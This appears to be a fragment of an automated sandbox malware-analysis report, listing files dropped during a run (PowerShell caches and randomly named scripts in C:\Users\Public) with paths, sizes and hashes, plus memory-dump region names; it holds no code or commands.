            • SHA256 082ffd70d3395f072b4ae9f6121565fded98d42b533a13af90e4f07c8ed72c8e
            • MD5 SHA1 SHA512 TLSH

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 53KB
            • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 14112a43248df71bdf7668c923f541190c6417ef37796605cf8114f565648d0f
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 9d412537b61989f9f700441177a446c15b734ffbc816ae7d75424fe9be02612b
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 948B
            • SHA256 64a0aa8bdc02496b866be987ab63b55040fb7eacbe9884d308e01d3e25fee0a5
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 1cfcad930f69f75821e43f8f4e1b33d0626a20c89d7f335ffd05625679e21942
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 581ef2752ddb123bff535eebcf573a4783ada1f4b7f7250c4145902a2de5dd8c
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 c869d981719dc133b2e2dba5cfc9925ce9b327dbf079a18b8b6caa77716e1f87
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_nvtcxlog.crs.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nvtcxlog.crs.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            fjysh.ps1

            • Path C:\Users\Public\fjysh.ps1
            • Size 5KB
            • SHA256 d83ebbb62bb3e3f794506fbfe53cdaaf0cd57cb1f712c9529a134df6c28faf03
            • MD5 SHA1 SHA512 SSDEEP TLSH

            frsbf.txt

            • Path C:\Users\Public\frsbf.txt
            • Size 16.5MB
            • SHA256 5587dc691382bdf41ff51a91cb2b656c6ad5a67fe7832951c9108a747c58153b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            fzrqr_01.ps1

            • Path C:\Users\Public\fzrqr_01.ps1
            • Size 1KB
            • SHA256 b823f56c7a359e7a821d972bbb6f1733ca6ce43645cb8b1f1b629510818f04f5
            • MD5 SHA1 SHA512 TLSH

            ykqzy.js

            • Path C:\Users\Public\ykqzy.js
            • Size 41KB
            • SHA256 db6955e8a069e420a6a1ebc007eda6ec740479968195d79f4511e8eeb98873c6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            lycpt.txt

            • Path \??\c:\users\public\lycpt.txt
            • Size 123B
            • SHA256 8862bfb6ad204f8507959343e7dc828e6cb4a6495e96ef5feeb67784ffd375bf
            • MD5 SHA1 SHA512 TLSH

            memory/1380-7-0x000001D5DF850000-0x000001D5DF872000-memory.dmp

            memory/1964-41-0x0000024C1B430000-0x0000024C1B440000-memory.dmp

            memory/1964-42-0x0000024C366A0000-0x0000024C366BA000-memory.dmp

            memory/3468-105-0x000001723D920000-0x000001723D964000-memory.dmp

            memory/4496-107-0x0000000005900000-0x000000000599C000-memory.dmp

            memory/4496-94-0x0000000000400000-0x0000000000418000-memory.dmp

            memory/4496-108-0x0000000005F50000-0x00000000064F4000-memory.dmp

            memory/4496-109-0x00000000059A0000-0x0000000005A06000-memory.dmp

            memory/5492-32-0x000001F4B5B50000-0x000001F4B5E06000-memory.dmp

            memory/5492-33-0x000001F4B5A70000-0x000001F4B5A71000-memory.dmp

            memory/5620-92-0x000001C0FFAA0000-0x000001C0FFD3C000-memory.dmp